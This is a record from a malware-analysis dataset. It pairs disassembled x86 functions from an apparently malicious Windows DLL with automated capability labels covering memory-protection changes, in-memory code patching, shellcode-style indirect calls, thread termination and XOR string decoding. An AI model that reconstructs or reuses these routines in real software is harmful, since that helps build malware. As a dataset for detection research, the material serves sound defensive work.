joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001a60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
lea eax, [ebp - 0x58]
push eax
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x4c]
cdq
xor ecx, ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], ecx
cmp eax, ecx
jbe 0x10001b7e
nop
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [ebp - 4]
push 0x1c
lea ecx, [ebp - 0x34]
push ecx
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x10001b61
xor esi, esi
cmp dword [ebp - 0x24], 0x1000
jne 0x10001b35
cmp dword [ebp - 0x20], 1
je 0x10001b35
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new___unsigned_int_]
mov edx, dword [ebp - 0x28]
add esp, 4
lea ecx, [ebp - 8]
push ecx
push 0x40
mov esi, eax
mov eax, dword [ebp - 0x34]
push edx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x10001b35
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x10]
push ecx
push edx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 8]
push ecx
mov ecx, dword [ebp - 0x34]
push edx
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebx]
mov edx, dword [edx + 0x14]
push eax
mov eax, dword [ebp + 8]
push esi
push ecx
push eax
mov ecx, ebx
call edx
test eax, eax
jne 0x10001b6c
mov edi, dword [ebp - 4]
add edi, dword [ebp - 0x28]
mov dword [ebp - 4], edi
test esi, esi
je 0x10001b4c
push esi
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
cmp edi, dword [ebp - 0x18]
jb 0x10001a90
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
sub eax, esi
add eax, dword [ebp - 4]
push esi
mov dword [ebp - 0xc], eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete___void__]
add esp, 4
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x10002150
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push edi
push esi
call ebx
mov ecx, dword [ebp + 8]
push edi
push ecx
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp - 8]
push edx
push eax
push edi
push esi
call ebx
push 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100021a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x1002d018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x100021e6
push str.Error:_Unable_to_create_toolhelp_snapshot_
call dword [sym.imp.MSVCR100.dll_printf]
add esp, 4
xor eax, eax
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001fd05
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x130]
push eax
push esi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x100021d4
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x10002210
mov ecx, edi
lea eax, [ebp - 0x10c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10002238
test dl, dl
je 0x10002234
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10002238
add eax, 2
add ecx, 2
test dl, dl
jne 0x10002218
xor eax, eax
jmp 0x1000223d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000225f
lea ecx, [ebp - 0x130]
push ecx
push esi
call ebx
test eax, eax
jne 0x10002210
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001fd05
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x128]
pop esi
xor ecx, ebp
pop ebx
call fcn.1001fd05
mov esp, ebp
pop ebp
ret
Function at 0x100022e0
Capabilities:
Enumerate threads
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x1002d018]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10002313
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001fd05
mov esp, ebp
pop ebp
ret
xor eax, eax
push ebx
push esi
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x48]
push eax
push edi
mov dword [ebp - 0x48], 0x1c
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1000241e
mov ebx, 0x6c
mov ecx, dword [ebp - 0x40]
push ecx
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
jne 0x10002368
lea edx, [ebp - 0x48]
push edx
jmp 0x1000240f
mov ecx, ebx
xor eax, eax
lea esp, [esp]
mov dl, byte [eax + 0x100253e8]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], dl
jns 0x1000238d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x18
jl 0x10002370
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov byte [ebp - 0x14], 0
mov dword [ebp - 0x10], 0x6c64746e
mov dword [ebp - 0xc], 0x6c642e6c
mov word [ebp - 8], bx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov word [ebp - 8], cx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x14], cl
cmp eax, ecx
jne 0x100023e7
xor eax, eax
jmp 0x100023ff
push ecx
push 4
lea edx, [ebp - 0x4c]
push edx
push 9
push esi
mov dword [ebp - 0x4c], ecx
call eax
neg eax
sbb eax, eax
not eax
and eax, dword [ebp - 0x4c]
cmp dword [ebp + 8], eax
je 0x10002438
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x48]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10002348
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
xor al, al
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1001fd05
mov esp, ebp
pop ebp
ret
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
pop esi
pop ebx
xor ecx, ebp
mov al, 1
pop edi
call fcn.1001fd05
mov esp, ebp
pop ebp
ret
Function at 0x10007ef0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020ea8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1002d018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x49
xor eax, eax
mov bl, byte [eax + 0x10025a70]
xor bl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x30], bl
jns 0x10007f3f
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1c
jl 0x10007f22
mov byte [ebp - 0x14], dl
mov dword [ebp - 4], edx
mov ecx, dword [0x10032c4c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x40]
lea edx, [ebp - 0x30]
push edx
call eax
add eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov eax, dword [eax + ecx*4]
add eax, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001fd05
mov esp, ebp
pop ebp
ret 8

Function at 0x100080b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020e78
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1002d018]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor edx, edx
mov ecx, 0x1f
xor eax, eax
mov bl, byte [eax + str.Vfira_nuINF_OY]
xor bl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], bl
jns 0x100080ff
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x17
jl 0x100080e2
mov byte [ebp - 0x15], dl
mov dword [ebp - 4], edx
mov ecx, dword [0x10032c4c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x40]
lea edx, [ebp - 0x2c]
push edx
call eax
mov ecx, dword [ebp + 8]
mov eax, dword [eax + ecx + 0xc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1001fd05
mov esp, ebp
pop ebp
ret 4
Function at 0x10008400
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10020de0
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x1002d018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
mov ecx, 0x29
xor eax, eax
mov dl, byte [eax + 0x10027350]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x3c], dl
jns 0x10008452
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x28
jl 0x10008435
mov byte [ebp - 0x14], 0
mov dword [ebp - 4], 0
mov ecx, dword [0x10032c4c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x40]
lea edx, [ebp - 0x3c]
push edx
call eax
test eax, eax
setne al
mov dword [ebp - 4], 0xffffffff
test al, al
je 0x100084cf
mov edi, 0x1002737c
sub edi, 0x6fad512a
lea esi, [ebp - 0x3c]
call fcn.1001a4f0
mov dword [ebp - 4], 1
mov ecx, dword [0x10032c4c]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 0x40]
call eax
push 0x29
lea ecx, [ebp - 0x3c]
push 0
push ecx
mov esi, eax
mov dword [ebp - 4], 0xffffffff
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [ebx + 0xf8]
call esi
jmp 0x100084d5
mov eax, dword [ebx + 0xf8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001fd05
mov esp, ebp
pop ebp
ret 4

Function at 0x10009d40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100209d0
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1002d018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x87
xor eax, eax
mov dl, byte [eax + 0x100274fc]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x24], dl
jns 0x10009d8e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xe
jl 0x10009d71
mov byte [ebp - 0x16], 0
mov dword [ebp - 4], 0
mov ecx, dword [0x10032c4c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x40]
lea edx, [ebp - 0x24]
push edx
call eax
mov eax, dword [eax]
dec eax
mov dword [ebp - 4], 0xffffffff
je 0x10009e09
dec eax
je 0x10009e02
sub eax, 3
je 0x10009dc8
xor eax, eax
jmp 0x10009e0e
mov edi, str._DOIUoYQESA
sub edi, 0x1e7b41dd
lea esi, [ebp - 0x24]
call fcn.10019ef0
mov dword [ebp - 4], 1
mov ecx, dword [0x10032c4c]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 0x40]
call eax
cmp dword [eax], 0
seta al
xor ecx, ecx
test al, al
setne cl
lea eax, [ecx + 3]
jmp 0x10009e0e
mov eax, 2
jmp 0x10009e0e
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001fd05
mov esp, ebp
pop ebp
ret
Function at 0x100174a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100211b8
mov eax, dword fs:[0]
push eax
sub esp, 0x58
mov eax, dword [0x1002d018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov ecx, 0x29
xor eax, eax
mov dl, byte [eax + str._lco]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x34], dl
jns 0x100174f1
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x21
jl 0x100174d4
mov byte [ebp - 0x13], bl
mov dword [ebp - 4], ebx
mov ecx, dword [0x10032c4c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x40]
lea edx, [ebp - 0x34]
push edx
call eax
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 0x60]
push ecx
push 0x40
mov esi, eax
push 4
push esi
mov dword [ebp - 0x60], ebx
call edi
mov eax, dword [ebp - 0x60]
lea edx, [ebp - 0x60]
push edx
push eax
push 4
push esi
mov dword [esi], 0x10001060
call edi
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
mov ecx, 0x6c
lea ebx, [ebx]
mov dl, byte [eax + str.__2_1e]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x5c], dl
jns 0x1001757d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x25
jl 0x10017560
mov byte [ebp - 0x37], bl
mov dword [ebp - 4], 1
mov ecx, dword [0x10032c4c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x40]
lea edx, [ebp - 0x5c]
push edx
call eax
lea ecx, [ebp - 0x60]
push ecx
push 0x40
mov esi, eax
push 4
push esi
mov dword [ebp - 0x60], ebx
call edi
mov eax, dword [ebp - 0x60]
lea edx, [ebp - 0x60]
push edx
push eax
push 4
push esi
mov dword [esi], 0x10001060
call edi
xor eax, eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov word [ebp - 0x38], ax
mov ecx, 0x29
mov dl, byte [eax + 0x100262b4]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [ebp + eax - 0x2c], dl
jns 0x10017604
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x19
jl 0x100175e7
mov byte [ebp - 0x13], bl
mov dword [ebp - 4], 2
mov ecx, dword [0x10032c4c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x40]
lea edx, [ebp - 0x2c]
push edx
call eax
lea ecx, [ebp - 0x60]
push ecx
push 0x40
mov esi, eax
push 1
push esi
call edi
push 1
push 0x10027230
push esi
call dword [sym.imp.MSVCR100.dll_memmove]
mov eax, dword [ebp - 0x60]
add esp, 0xc
lea edx, [ebp - 0x64]
push edx
push eax
push 1
push esi
call edi
push 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001fd05
mov esp, ebp
pop ebp
ret
Function at 0x10017950
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5c
mov eax, dword [0x1002d018]
xor eax, esp
mov dword [esp + 0x58], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10017a30
mov edi, str._W28
sub edi, 0x6fad512a
lea esi, [esp + 0x28]
call fcn.1001cf00
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
lea esi, [esp + 0xc]
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
call fcn.1001cf00
mov edi, 0x10028a5c
sub edi, 0x1e7b41dd
lea esi, [esp + 0x44]
mov ebx, eax
call fcn.1001a3b0
push ebx
push eax
call dword [sym.imp.MSVCR100.dll_rename]
xor eax, eax
add esp, 8
mov ecx, 0x10010020
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call fcn.1001f970
mov ecx, 0x100134d0
call fcn.1001f970
mov ecx, dword [esp + 0x64]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.1001fd05
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10019090
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10021f68
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1002d018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [edi + 0x44], 0
je 0x100191e8
cmp byte [edi + 0x49], 0
je 0x100191e8
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, edi
call edx
cmp eax, 0xffffffff
je 0x100191dc
lea esi, [ebp - 0x2c]
call fcn.10018cf0
mov dword [ebp - 4], 0
mov ebx, 0x10
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
cmp eax, ebx
jae 0x1001913b
lea ecx, [ebp - 0x2c]
mov eax, ecx
add ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x30]
push edx
push ecx
mov ecx, dword [edi + 0x44]
push eax
lea eax, [edi + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x10019140
dec eax
je 0x10019144
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x100191e3
call fcn.10017a80
xor al, al
jmp 0x100191ea
mov eax, dword [ebp - 0x2c]
jmp 0x10019105
mov byte [edi + 0x49], 0
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
mov eax, edx
cmp ecx, ebx
jae 0x10019153
lea eax, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, eax
je 0x10019178
mov eax, edx
cmp ecx, ebx
jae 0x10019163
lea eax, [ebp - 0x2c]
mov ecx, dword [edi + 0x54]
push ecx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x100191d4
cmp byte [edi + 0x49], 0
je 0x100191e0
test esi, esi
jne 0x100190f6
mov eax, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, eax
cmp edx, 8
jbe 0x10019205
lea esi, [eax + 8]
lea eax, [ebp - 0x2c]
call fcn.10019510
test al, al
je 0x100190f6
mov ecx, dword [ebp - 0x2c]
cmp dword [ebp - 0x18], ebx
jae 0x100191b1
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
cmp dword [ebp - 0x18], ebx
jae 0x100191cb
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x100190f6
lea esi, [ebp - 0x2c]
call fcn.10017a80
xor al, al
jmp 0x100191ea
lea esi, [ebp - 0x2c]
call fcn.10017a80
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001fd05
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3

Function at 0x1001a6a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x3b
xor ecx, ecx
jmp 0x1001a6b0
mov al, byte [edi + ecx - 0xa890d13]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001a6cd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001a6b0
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x1001a6e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x29
xor ecx, ecx
jmp 0x1001a6f0
mov al, byte [edi + ecx + 0x1e7b41dd]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001a70d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001a6f0
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001a720
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x6c
xor ecx, ecx
jmp 0x1001a730
mov al, byte [edi + ecx + 0x6fad512a]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001a74d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001a730
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001a760
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x49
xor ecx, ecx
jmp 0x1001a770
mov al, byte [edi + ecx + 0x16440e0f]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001a78d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001a770
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001a820
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x87
xor ecx, ecx
jmp 0x1001a830
mov al, byte [edi + ecx - 0x24993e0c]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001a84d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001a830
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001a920
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x1f
xor ecx, ecx
jmp 0x1001a930
mov al, byte [edi + ecx - 0x97d5a03]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001a94d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001a930
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001acc0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x30
xor ecx, ecx
jmp 0x1001acd0
mov al, byte [edi + ecx + 0x5ec4cd49]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001aced
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001acd0
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001bb40
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 2
xor ecx, ecx
jmp 0x1001bb50
mov al, byte [edi + ecx - 0x2c39e8d7]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001bb6d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xb
jl 0x1001bb50
mov byte [esi + 0xb], 0
mov eax, esi
ret

Function at 0x1001bd30
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x22
xor ecx, ecx
jmp 0x1001bd40
mov al, byte [edi + ecx + 0x2c30330c]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001bd5d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001bd40
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001c200
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0xfe
xor ecx, ecx
jmp 0x1001c210
mov al, byte [edi + ecx - 0x71ebf2be]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001c22d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001c210
mov byte [esi + 0xc], 0
mov eax, esi
ret
Function at 0x1001cc60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, 0x50
xor ecx, ecx
jmp 0x1001cc70
mov al, byte [edi + ecx + 0x2b9e1f4b]
xor al, dl
inc edx
and edx, 0x800000ff
mov byte [ecx + esi], al
jns 0x1001cc8d
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xc
jl 0x1001cc70
mov byte [esi + 0xc], 0
mov eax, esi
ret

Function at 0x1001dbf0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100221e8
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x1002d018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x1001dc52
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.1001d9b0
mov ecx, esi
call fcn.1001da60
mov eax, esi
push eax
mov ecx, edi
call fcn.1001db40
cmp dword [ebp + 0x1c], 0x10
jb 0x1001dc82
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001fd05
mov esp, ebp
pop ebp
ret